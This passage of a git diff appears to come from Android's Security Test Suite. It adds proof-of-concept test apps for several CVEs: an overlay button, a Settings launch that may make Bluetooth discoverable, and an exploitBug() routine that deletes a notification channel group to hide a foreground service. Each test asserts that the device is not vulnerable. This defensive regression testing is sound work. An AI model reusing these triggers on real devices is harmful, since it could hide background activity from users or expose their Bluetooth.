+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ Context context = getApplicationContext();
+ mButton = new Button(context);
+ mButton.setText(context.getString(R.string.txtOverlayBtn));
+ mWindowManager.addView(mButton, mLayoutParams);
+ sendTestResult(getResources().getInteger(R.integer.noException), "");
+ } catch (Exception e) {
+ sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ try {
+ mWindowManager.removeView(mButton);
+ } catch (Exception e) {
+ sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ super.onDestroy();
+ }
+
+ void sendTestResult(int status, String message) {
+ try {
+ RemoteCallback cb =
+ (RemoteCallback) mIntent.getExtras().get(getString(R.string.callback));
+ Bundle res = new Bundle();
+ res.putString(getString(R.string.message), message);
+ res.putInt(getString(R.string.status), status);
+ cb.sendResult(res);
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
new file mode 100644
index 0000000..7e6c63d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+public class PocStatus {
+ int statusCode;
+ String errorMessage;
+
+ public PocStatus(int status, String message) {
+ statusCode = status;
+ errorMessage = message;
+ }
+
+ public int getStatusCode() {
+ return statusCode;
+ }
+
+ public String getErrorMessage() {
+ return errorMessage;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
index d3e2302..2f87b9c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
@@ -30,10 +30,10 @@
test_suites: [
"sts",
],
- sdk_version: "current",
static_libs: [
"androidx.test.core",
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
index f097825..74e263c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
@@ -22,12 +22,8 @@
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
- <application
- android:testOnly="true"
- android:label="CVE-2021-39626"
- android:supportsRtl="true">
- <activity
- android:name=".PocActivity"
+ <application>
+ <activity android:name=".PocActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@@ -35,7 +31,6 @@
</intent-filter>
</activity>
</application>
-
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.cts.CVE_2021_39626" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml
new file mode 100644
index 0000000..d5ae744
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="pass">0</integer>
+ <integer name="enabled">1</integer>
+ <integer name="disabled">2</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml
similarity index 69%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml
index e049d48..e6f53e7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml
@@ -18,17 +18,11 @@
<resources>
<string name="allowButtonResName">android:id/button1</string>
<string name="btAction">btAction</string>
- <string name="className">.slices.SliceDeepLinkSpringBoard</string>
+ <string name="className">.Settings$ConnectedDeviceDashboardActivity</string>
<string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
<string name="defaultSettingsPkg">com.android.settings</string>
- <string name="failMessage">
- Vulnerable to b/228450811 !! Possible to make bluetooth discoverable via
- SettingsIntelligence#SliceDeepLinkTrampoline
- </string>
+ <string name="failMessage">Vulnerable to b/194695497 !!</string>
<string name="messageKey">message</string>
<string name="resultKey">result</string>
- <string name="sharedPreferences">sharedPreferences</string>
- <string name="uri">
- settings://com.android.settings.slices/?slice=content://com.android.settings.slices/action/bluetooth_devices
- </string>
+ <string name="sharedPreferences">CVE_2021_39626_prefs</string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
index cd24540..6bb8d16 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
@@ -18,14 +18,15 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeNotNull;
import static org.junit.Assume.assumeTrue;
import android.bluetooth.BluetoothAdapter;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.content.pm.PackageManager;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
import android.provider.Settings;
import androidx.test.InstrumentationRegistry;
@@ -34,69 +35,121 @@
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
+import org.junit.After;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
- private static final int TIMEOUT = 5000;
- private static Context context;
+ static final int TIMEOUT = 10000;
+ boolean mBtState = false;
+ BluetoothAdapter mBtAdapter;
+ Context mContext;
+ OnSharedPreferenceChangeListener mListener;
+ Resources mResources;
+ SharedPreferences mSharedPrefs;
+ Semaphore mPreferenceChanged;
+ UiDevice mDevice;
- private static String getSettingsPkgName() {
+ private String getSettingsPkgName() {
Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
ComponentName settingsComponent =
- settingsIntent.resolveActivity(context.getPackageManager());
+ settingsIntent.resolveActivity(mContext.getPackageManager());
String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
- : "com.android.settings";
- assumeNotNull(pkgName);
+ : mContext.getString(R.string.defaultSettingsPkg);
return pkgName;
}
- private void openApplication(String applicationName) {
- Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
- assumeNotNull(intent);
- intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ @After
+ public void tearDown() {
try {
- context.startActivity(intent);
+ // Disable bluetooth if it was OFF before the test
+ if (!mBtState) {
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(mContext.getString(R.string.btAction),
+ BluetoothAdapter.ACTION_REQUEST_DISABLE);
+ mContext.startActivity(intent);
+ }
+ mPreferenceChanged = new Semaphore(0);
+ mPreferenceChanged.tryAcquire(TIMEOUT, TimeUnit.MILLISECONDS);
+ int result = mSharedPrefs.getInt(mResources.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ String message = mSharedPrefs.getString(mResources.getString(R.string.messageKey),
+ mResources.getString(R.string.defaultSemaphoreMsg));
+
+ // Go to home screen
+ mDevice.pressHome();
} catch (Exception e) {
- assumeNoException(e);
+ // ignore the exception
}
}
@Test
public void testBtDiscoverable() {
- // Initialize UiDevice instance
- UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- context = InstrumentationRegistry.getInstrumentation().getContext();
- BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
- assumeNotNull(btAdapter);
+ try {
+ // Initialize UiDevice instance
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ mBtAdapter = BluetoothAdapter.getDefaultAdapter();
- // Save the state of bluetooth adapter to reset after the test
- boolean btState = btAdapter.isEnabled();
- if (!btState) {
- // If bluetooth is disabled, enable it and wait for adapter startup to complete
- assumeTrue(btAdapter.enable());
- try {
- Thread.sleep(TIMEOUT);
- } catch (Exception e) {
- assumeNoException(e);
- }
+ // Save the state of bluetooth adapter to reset after the test
+ mBtState = mBtAdapter.isEnabled();
+
+ // If bluetooth is disabled, enable it and wait for start activity to complete
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(mContext.getString(R.string.btAction),
+ BluetoothAdapter.ACTION_REQUEST_ENABLE);
+ mContext.startActivity(intent);
+ mResources = mContext.getResources();
+
+ mSharedPrefs = mContext.getSharedPreferences(
+ mResources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ mPreferenceChanged = new Semaphore(0);
+ mListener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(mResources.getString(R.string.resultKey))) {
+ mPreferenceChanged.release();
+ }
+ }
+ };
+ mSharedPrefs.registerOnSharedPreferenceChangeListener(mListener);
+ mPreferenceChanged.tryAcquire(TIMEOUT, TimeUnit.MILLISECONDS);
+
+ int result = mSharedPrefs.getInt(mResources.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ String message = mSharedPrefs.getString(mResources.getString(R.string.messageKey),
+ mResources.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure));
+
+ // Checking if bluetooth is enabled. The test requires bluetooth to be enabled,
+ // assumption failing the test if it's not enabled
+ assumeTrue(mBtAdapter.isEnabled());
+
+ // Launch bluetooth settings which is supposed to set scan mode to
+ // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is active
+ intent = new Intent();
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ String settingsPkg = getSettingsPkgName();
+ intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
+ mContext.startActivity(intent);
+
+ assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT));
+
+ boolean isBtDiscoverable = false;
+ isBtDiscoverable =
+ (mBtAdapter.getScanMode() == mBtAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+ // The test fails if bluetooth is made discoverable through PoC
+ assertFalse(mContext.getString(R.string.failMessage), isBtDiscoverable);
+ } catch (Exception e) {
+ assumeNoException(e);
}
- assumeTrue(btAdapter.isEnabled());
-
- // Launch the PoC application and ensure that it launches bluetooth settings
- openApplication(context.getPackageName());
- assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT));
-
- boolean isBtDiscoverable =
- (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
-
- // Disable bluetooth if it was OFF before the test
- if (!btState) {
- btAdapter.disable();
- }
-
- // The test fails if bluetooth is made discoverable through PoC
- assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
index d4425ff..9a43cd1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
@@ -16,24 +16,88 @@
package android.security.cts.CVE_2021_39626;
-import static org.junit.Assume.assumeNoException;
-
import android.app.Activity;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
import android.os.Bundle;
-import android.provider.Settings;
+
+import androidx.annotation.IntegerRes;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
public class PocActivity extends Activity {
+ private static final int TIMEOUT = 5000;
+ private static final int REQUEST_ENABLE_BT = 1;
+ private static final int REQUEST_DISABLE_BT = 2;
+
+ int getInteger(@IntegerRes int resId) {
+ return getResources().getInteger(resId);
+ }
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- Intent intent = new Intent();
- intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS);
try {
- startActivity(intent);
+ String action = getIntent().getStringExtra(getString(R.string.btAction));
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
+ BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
+ int code = REQUEST_ENABLE_BT;
+ if (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)) {
+ code = REQUEST_DISABLE_BT;
+ }
+
+ if ((action.equals(BluetoothAdapter.ACTION_REQUEST_ENABLE)
+ && !bluetoothAdapter.isEnabled())
+ || (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)
+ && bluetoothAdapter.isEnabled())) {
+ Intent enableBtIntent = new Intent(action);
+ startActivityForResult(enableBtIntent, code);
+
+ // Wait for the activity to appear and the allow button
+ device.wait(Until.hasObject(By.res(getString(R.string.allowButtonResName))),
+ TIMEOUT);
+
+ // Click on the allow button
+ UiObject2 object =
+ device.findObject(By.res(getString(R.string.allowButtonResName)));
+ object.click();
+ } else {
+ sendTestResult(getInteger(R.integer.pass), "");
+ finish();
+ return;
+ }
} catch (Exception e) {
- assumeNoException(e);
+ sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
+ return;
+ }
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (requestCode == REQUEST_ENABLE_BT && resultCode == Activity.RESULT_OK) {
+ finish();
+ sendTestResult(getInteger(R.integer.enabled), "");
+ } else if (requestCode == REQUEST_DISABLE_BT && resultCode == Activity.RESULT_OK) {
+ finish();
+ sendTestResult(getInteger(R.integer.disabled), "");
+ }
+ }
+
+ private void sendTestResult(int result, String message) {
+ SharedPreferences sh =
+ getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ if (sh != null) {
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
similarity index 89%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
index 50acd29..044a5f5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
@@ -20,18 +20,19 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2021-39704",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
similarity index 64%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
index fadda57..70b7a73 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
@@ -13,17 +13,17 @@
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
- -->
+-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.security.cts.cve_2021_0642"
- android:versionCode="1"
- android:versionName="1.0">
- <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+ package="android.security.cts.CVE_2021_39704">
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<application
- android:allowBackup="true"
- android:label="CVE-2021-0642"
android:supportsRtl="true">
-
+ <service
+ android:name=".PocService"
+ android:exported="true">
+ </service>
<activity
android:name=".PocActivity"
android:exported="true">
@@ -31,14 +31,10 @@
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
- <intent-filter>
- <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
- <category android:name="android.intent.category.DEFAULT" />
- </intent-filter>
</activity>
</application>
<instrumentation
- android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.cve_2021_0642" />
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39704" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml
new file mode 100644
index 0000000..ec924a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <integer name="pass">2</integer>
+ <integer name="timeoutMs">5000</integer>
+ <integer name="assumptionFailure">3</integer>
+ <integer name="fail">1</integer>
+ <integer name="width">50</integer>
+ <integer name="height">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml
new file mode 100644
index 0000000..ab82c01
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="channel">channel</string>
+ <string name="failMessage">Failed to open </string>
+ <string name="group">group</string>
+ <string name="groupId">groupId</string>
+ <string name="messageKey">messageKey</string>
+ <string name="passMessage">Passed</string>
+ <string name="resultKey">resultKey</string>
+ <string name="sharedPreference">sharedPreference</string>
+ <string name="vulnerableMessage">Vulnerable to b/209965481</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java
new file mode 100644
index 0000000..6336229
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.pm.PackageManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.Semaphore;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testdeleteNotificationChannelGroup() {
+ try {
+ Context context = getApplicationContext();
+ PackageManager packageManager = context.getPackageManager();
+ Intent intent = packageManager
+ .getLaunchIntentForPackage(context.getPackageName());
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
+ context.startActivity(intent);
+ SharedPreferences sh = context.getSharedPreferences(
+ context.getString(R.string.sharedPreference),
+ Context.MODE_APPEND);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(
+ SharedPreferences sharedPreferences, String key) {
+ if (key.equals(context.getString(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key, 0) == context
+ .getResources().getInteger(R.integer.pass)) {
+ preferenceChanged.release();
+ }
+ }
+ }
+ };
+ sh.registerOnSharedPreferenceChangeListener(listener);
+ preferenceChanged.tryAcquire(
+ context.getResources().getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS);
+
+ int result = sh.getInt(context.getString(R.string.resultKey),
+ context.getResources().getInteger(R.integer.pass));
+ String message = sh.getString(
+ context.getString(R.string.messageKey),
+ context.getString(R.string.passMessage));
+ assumeTrue(message, result != context.getResources()
+ .getInteger(R.integer.assumptionFailure));
+ assertNotEquals(message, result,
+ context.getResources().getInteger(R.integer.fail));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java
new file mode 100644
index 0000000..60ce757
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import android.app.Activity;
+import android.Manifest;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+//PocActitvity is required because requestPermissions needs to implemented to request location permission.
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ if (this.checkCallingOrSelfPermission(
+ Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
+ startForegroundService(new Intent(this, PocService.class));
+ this.requestPermissions(
+ new String[] {
+ Manifest.permission.ACCESS_COARSE_LOCATION },0);
+ }
+ } catch (Exception e) {
+ setExceptionStatus(e.toString(),
+ getResources().getInteger(R.integer.assumptionFailure));
+ }
+ }
+
+ private void setExceptionStatus(String message, int status) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), status);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java
new file mode 100644
index 0000000..23303c3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.content.SharedPreferences;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Icon;
+import android.os.IBinder;
+
+//PocService is needed to build the notification when the service starts.
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ try {
+ exploitBug();
+ super.onCreate();
+ } catch (Exception e) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ e.getMessage());
+ }
+ }
+
+ void exploitBug() {
+ try {
+ final NotificationManager notificationManager = getSystemService(
+ NotificationManager.class);
+ final String id = getString(R.string.channel);
+ final String groupId = getString(R.string.groupId);
+ notificationManager.createNotificationChannelGroup(
+ new NotificationChannelGroup(groupId,
+ getString(R.string.group)));
+ NotificationChannel notificationChannel = new NotificationChannel(
+ id, id, NotificationManager.IMPORTANCE_HIGH);
+ notificationChannel.setGroup(groupId);
+ notificationManager.createNotificationChannel(notificationChannel);
+ Notification notification = new Notification.Builder(this, id)
+ .setSmallIcon(createNotificationIcon()).build();
+ startForeground(1, notification);
+ setResult(getResources().getInteger(R.integer.fail),
+ getString(R.string.vulnerableMessage));
+ notificationManager.deleteNotificationChannelGroup(groupId);
+ setResult(getResources().getInteger(R.integer.fail),
+ getString(R.string.vulnerableMessage));
+ } catch (SecurityException e) {
+ setResult(getResources().getInteger(R.integer.pass),
+ getString(R.string.passMessage));
+ }
+ }
+
+ private void setResult(int result, String message) {
+ try {
